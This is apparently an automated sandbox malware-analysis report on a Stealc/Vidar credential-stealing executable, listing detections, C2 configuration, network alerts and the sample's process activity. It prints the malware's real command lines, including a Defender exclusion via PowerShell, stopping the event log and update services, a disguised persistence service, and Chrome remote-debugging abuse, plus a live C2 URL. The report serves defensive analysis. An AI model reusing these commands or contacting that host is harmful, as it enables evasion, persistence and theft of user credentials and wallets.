Edit tour

Windows Analysis Report
xLgTQcFdIJ.exe

Overview

General Information

Sample name:	xLgTQcFdIJ.exe renamed because original name is a hash value
Original sample name:	f299a21673da1c7f3884cda4855d5177.exe
Analysis ID:	1546693
MD5:	f299a21673da1c7f3884cda4855d5177
SHA1:	eb72ff743adb3f39e90e27684594b81c6cb7032d
SHA256:	6094e2400b66c9d53bdd5f0de67d37705207af0283d00d531105ce0fee86f25b
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies power options to not sleep / hibernate

Modifies the hosts file

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses powercfg.exe to modify the power settings

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

xLgTQcFdIJ.exe (PID: 6956 cmdline: "C:\Users\user\Desktop\xLgTQcFdIJ.exe" MD5: F299A21673DA1C7F3884CDA4855D5177)

chrome.exe (PID: 6212 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6404 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2260,i,8336973660302099987,9170347431899203215,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 5756 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\EHDHDHIECG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EHDHDHIECG.exe (PID: 7688 cmdline: "C:\ProgramData\EHDHDHIECG.exe" MD5: D9A5E741B1F67593422BFB1A165288BB)

powershell.exe (PID: 7696 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 5960 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 7368 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7280 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 7412 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7200 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7424 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7548 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7592 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7632 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7656 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7660 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7640 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6028 cmdline: C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6016 cmdline: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6704 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5012 cmdline: C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 7808 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6956 -s 2296 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 2496 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7764 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7824 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 6956 -ip 6956 MD5: C31336C1EFC2CCB44B4326EA793040F2)

updater.exe (PID: 5480 cmdline: C:\ProgramData\Google\Chrome\updater.exe MD5: D9A5E741B1F67593422BFB1A165288BB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://95.215.207.176/d8ddb681db736e16.php", "Botnet": "LogsDiller"}

Threatname: Vidar

{"C2 url": "http://95.215.207.176/d8ddb681db736e16.php", "Botnet": "LogsDiller"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2193245741.0000000002EF3000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xde8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: xLgTQcFdIJ.exe PID: 6956	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: xLgTQcFdIJ.exe PID: 6956	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: xLgTQcFdIJ.exe PID: 6956	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xLgTQcFdIJ.exe PID: 6956	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.xLgTQcFdIJ.exe.4960000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.xLgTQcFdIJ.exe.4880e67.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.xLgTQcFdIJ.exe.4880e67.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.xLgTQcFdIJ.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.xLgTQcFdIJ.exe.4960000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.xLgTQcFdIJ.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\ProgramData\EHDHDHIECG.exe" , ParentImage: C:\ProgramData\EHDHDHIECG.exe, ParentProcessId: 7688, ParentProcessName: EHDHDHIECG.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7632, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\EHDHDHIECG.exe" , ParentImage: C:\ProgramData\EHDHDHIECG.exe, ParentProcessId: 7688, ParentProcessName: EHDHDHIECG.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\xLgTQcFdIJ.exe", ParentImage: C:\Users\user\Desktop\xLgTQcFdIJ.exe, ParentProcessId: 6956, ParentProcessName: xLgTQcFdIJ.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6212, ProcessName: chrome.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\ProgramData\EHDHDHIECG.exe" , ParentImage: C:\ProgramData\EHDHDHIECG.exe, ParentProcessId: 7688, ParentProcessName: EHDHDHIECG.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", ProcessId: 6016, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\EHDHDHIECG.exe" , ParentImage: C:\ProgramData\EHDHDHIECG.exe, ParentProcessId: 7688, ParentProcessName: EHDHDHIECG.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2496, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\ProgramData\EHDHDHIECG.exe" , ParentImage: C:\ProgramData\EHDHDHIECG.exe, ParentProcessId: 7688, ParentProcessName: EHDHDHIECG.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 6704, ProcessName: sc.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T13:42:14.514303+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49755	TCP
2024-11-01T13:42:43.320777+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.4	62304	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T13:42:00.046752+0100	2044245	1	Malware Command and Control Activity Detected	95.215.207.176	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T13:42:00.039813+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	95.215.207.176	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T13:42:00.282946+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	95.215.207.176	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T13:42:26.233768+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49754	95.215.207.176	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T13:42:00.841974+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	95.215.207.176	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T13:42:00.289840+0100	2044247	1	Malware Command and Control Activity Detected	95.215.207.176	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T13:41:59.051297+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	95.215.207.176	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T13:42:01.313016+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	95.215.207.176	80	TCP
2024-11-01T13:42:15.108913+0100	2803304	3	Unknown Traffic	192.168.2.4	49754	95.215.207.176	80	TCP
2024-11-01T13:42:18.422574+0100	2803304	3	Unknown Traffic	192.168.2.4	49754	95.215.207.176	80	TCP
2024-11-01T13:42:19.948212+0100	2803304	3	Unknown Traffic	192.168.2.4	49754	95.215.207.176	80	TCP
2024-11-01T13:42:20.852383+0100	2803304	3	Unknown Traffic	192.168.2.4	49754	95.215.207.176	80	TCP
2024-11-01T13:42:23.277838+0100	2803304	3	Unknown Traffic	192.168.2.4	49754	95.215.207.176	80	TCP
2024-11-01T13:42:23.921475+0100	2803304	3	Unknown Traffic	192.168.2.4	49754	95.215.207.176	80	TCP
2024-11-01T13:42:28.586201+0100	2803304	3	Unknown Traffic	192.168.2.4	49762	87.106.236.48	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: xLgTQcFdIJ.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://95.215.207.176/d8ddb681db736e16.php", "Botnet": "LogsDiller"}
Source: 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://95.215.207.176/d8ddb681db736e16.php", "Botnet": "LogsDiller"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\EHDHDHIECG.exe	ReversingLabs: Detection: 66%
Source: C:\ProgramData\Google\Chrome\updater.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_131[1].exe	ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: xLgTQcFdIJ.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: xLgTQcFdIJ.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: 22
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: 11
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: 20
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: 24
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: OpenEventA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CreateEventA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Sleep
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: VirtualFree
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: user32.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetUserNameA
